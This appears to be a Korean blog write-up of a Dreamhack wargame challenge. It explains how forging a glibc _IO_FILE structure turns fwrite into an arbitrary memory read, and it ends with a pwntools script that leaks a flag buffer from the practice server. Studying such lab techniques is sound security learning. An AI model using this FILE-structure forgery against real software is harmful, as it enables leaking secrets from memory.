Ubuntu 18.04 64-bit(Glibc 2.27) 실습 환경 Dockerfile
FROM ubuntu:18.04
ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8
RUN apt update
RUN apt install -y \
gcc \
git \
python3 \
python3-pip \
ruby \
sudo \
tmux \
vim \
wget
# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh
# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools
# install one_gadget command
RUN gem install one_gadget -v 1.6.2
# install patchelf
WORKDIR /root
RUN apt install -y dh-autoreconf
RUN git clone https://github.com/NixOS/patchelf
WORKDIR /root/patchelf
RUN git checkout 0.17.2
RUN ./bootstrap.sh
RUN ./configure
RUN make
RUN make check
RUN sudo make install
WORKDIR /root
$ CONTAINER_NAME=my_container; \
docker build . -t ubuntu1804; \
docker run -d -t --privileged --name=$CONTAINER_NAME ubuntu1804; \
docker exec -it -u root $CONTAINER_NAME bash
iofile_aar.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char flag_buf[1024];
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
fp = fopen("/home/iofile_aar/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
int main() {
const char *data = "TEST FILE!";
init();
read_flag();
fp = fopen("/tmp/testfile", "w");
printf("Data: ");
read(0, fp, 300);
fwrite(data, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
pwndbg> checksec
[*] '/root/io2/iofile_aar'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
코드 분석
이번 파일에도 역시 flag 를 읽는 함수가 존재하고 fp를 조작할 수 있게 해준다.
바로 gdb 를 열어서 내부 구조를 봐보자
동적 분석
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004007a5 <+0>: push rbp
0x00000000004007a6 <+1>: mov rbp,rsp
0x00000000004007a9 <+4>: sub rsp,0x10
0x00000000004007ad <+8>: lea rax,[rip+0x138] # 0x4008ec
0x00000000004007b4 <+15>: mov QWORD PTR [rbp-0x8],rax
0x00000000004007b8 <+19>: mov eax,0x0
0x00000000004007bd <+24>: call 0x400717 <init>
0x00000000004007c2 <+29>: mov eax,0x0
0x00000000004007c7 <+34>: call 0x40075a <read_flag>
0x00000000004007cc <+39>: lea rsi,[rip+0x124] # 0x4008f7
0x00000000004007d3 <+46>: lea rdi,[rip+0x11f] # 0x4008f9
0x00000000004007da <+53>: call 0x400610 <fopen@plt>
0x00000000004007df <+58>: mov QWORD PTR [rip+0x20089a],rax # 0x601080 <fp>
0x00000000004007e6 <+65>: lea rdi,[rip+0x11a] # 0x400907
0x00000000004007ed <+72>: mov eax,0x0
0x00000000004007f2 <+77>: call 0x4005e0 <printf@plt>
0x00000000004007f7 <+82>: mov rax,QWORD PTR [rip+0x200882] # 0x601080 <fp>
0x00000000004007fe <+89>: mov edx,0x12c
0x0000000000400803 <+94>: mov rsi,rax
0x0000000000400806 <+97>: mov edi,0x0
0x000000000040080b <+102>: call 0x4005f0 <read@plt>
0x0000000000400810 <+107>: mov rdx,QWORD PTR [rip+0x200869] # 0x601080 <fp>
0x0000000000400817 <+114>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040081b <+118>: mov rcx,rdx
0x000000000040081e <+121>: mov edx,0x400
0x0000000000400823 <+126>: mov esi,0x1
0x0000000000400828 <+131>: mov rdi,rax
0x000000000040082b <+134>: call 0x400620 <fwrite@plt>
0x0000000000400830 <+139>: mov rax,QWORD PTR [rip+0x200849] # 0x601080 <fp>
0x0000000000400837 <+146>: mov rdi,rax
0x000000000040083a <+149>: call 0x4005d0 <fclose@plt>
0x000000000040083f <+154>: mov eax,0x0
0x0000000000400844 <+159>: leave
0x0000000000400845 <+160>: ret
main + 102 에 브레이크를 걸고 read 를 실행하고 AAAA 를 넣어줬다.
fp 는 heap 에 저장되니까 heap 을 보면
이렇게 IO file 구조체를 뽑아냈다.
int read_flag() {
FILE *fp;
fp = fopen("/home/iofile_aar/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
그리고 이 코드가 실행되면 flag_buf 전역변수에 저장이 되고 No pie 니까 위치는 고정이겠다.
그래서 해당 경로에 flag 파일을 만들어준 뒤 AAAAAAAA .. 를 입력하고 다시 gdb 를 해준 뒤 주소를 찾아줬다.
이렇게 flag_buf 주소도 구할 수 있다는 걸 알아뒀으면
io file 구조체를 어떻게 바꿀지는 강의록을 보고 따라가보자
_IO_new_file_xsputn 함수
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
...
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
우리는 파일을 w 인 쓰기로 받았기 때문에 fwrite, fputs과 같은 함수를 사용한다.
이 함수는 라이브러리 내부에서 _IO_sputn 함수를 호출한다.
이 함수는 실질적으로 _IO_new_file_xsputn 함수를 실행하고 얘는 또 _IO_OVERFLOW 인 _IO_new_file_overflow를 실행한다.
_IO_new_file_overflow
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
...
}
int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
4-9번 라인
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
이 함수에서 위 부분은 flag 변수에 쓰기 권한이 있는지 확인한다.
11-43번 라인
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
근데 _IO_CURRENTLY_PUTTING이 설정되어 있지 않으면_IO_write_base, _IO_write_end, _IO_write_ptr 필드를 다른 값으로 변조한다.
44-46번 라인
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
또 인자로 받았던 ch 가 -1 (EOF) 면 _IO_do_write 함수를 호출한다.
그리고 아까 _IO_OVERFLOW (f, EOF)로 EOF 를 넘겨 줬으니 _IO_do_write 가 내부적으로 실행하는 new_do_write를 분석해본다.
new_do_write
#define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN)
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
이 함수는 바로 플래그 검사부터 한다 _IO_IS_APPENDING가 포함되어 있지 않은 상태에서 _IO_read_end와 _IO_write_base가 다르면_IO_SYSSEEK (lseek(fp->_fileno, OFFSET, MODE) 시스템 콜) 을 호출한다.
_IO_SYSWRITE
그리고 이제 데이터를 쓰기 위해서 이 함수가 호출되는데 이 함수는 vtable의 _IO_new_file_write 함수로 볼 수 있다.
#define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN)
_IO_new_file_write
_IO_ssize_t
_IO_new_file_write (_IO_FILE *f, const void *data, _IO_ssize_t n)
{
_IO_ssize_t to_do = n;
while (to_do > 0)
{
_IO_ssize_t count = (__builtin_expect (f->_flags2
& _IO_FLAGS2_NOTCANCEL, 0)
? write_not_cancel (f->_fileno, data, to_do)
: write (f->_fileno, data, to_do));
if (count < 0)
{
f->_flags |= _IO_ERR_SEEN;
break;
}
to_do -= count;
data = (void *) ((char *) data + count);
}
n -= to_do;
if (f->_offset >= 0)
f->_offset += n;
return n;
}
전달되는 인자를 파일 구조체로 표현하면
write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);
이렇게 깔끔하게 정리가 가능하다.
이제 익스플로잇 코드를 짜볼건데 여기서 중요한게 하나 있다.
아까 flag 를 검증하는 코드에 의해 _IO_CURRENTLY_PUTTING가 설정되어 있지 않으면_IO_write_base, _IO_write_end, _IO_write_ptr 필드를 다른 값으로 변조한다 했으므로 0xfbad0000과 0x800을 포함한 값으로 변경해야한다.
fp->_IO_read_end 와 fp->_IO_write_base를 같은지 검사하는 코드도 있었으므로 같게 맞춰주고 표준 출력 (1) 을 사용해서 내용을 출력시켜준다.
최종 익스플로잇 코드
from pwn import *
import time
p = remote('host8.host1.dreamhack.games', 23743)
e = ELF('./iofile_aar')
flag_buf = e.symbols['flag_buf']
print("flag_buf addr : ", hex(flag_buf))
payload = p64(0xfbad0800)
payload += p64(0) # _IO_read_ptr
payload += p64(flag_buf) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(flag_buf) # _IO_write_base
payload += p64(flag_buf + 1024) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(1) # stdout
p.sendlineafter(b'Data: ', payload)
p.interactive()
이렇게 답이 나온다.
'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글
| [Pwnable Advanced] Exploit Tech: _IO_FILE Arbitrary Address Write (1) | 2026.04.16 |
|---|---|
| [Pwnable Advanced] Send_sig (1) | 2026.04.16 |
| [Pwnable Advanced] Exploit Tech: SigReturn-Oriented Programming (1) | 2026.04.16 |
| [Pwnable Advanced] Exploit Tech: __environ (1) | 2026.04.16 |
| [Pwnable Advanced] rtld (1) | 2026.04.16 |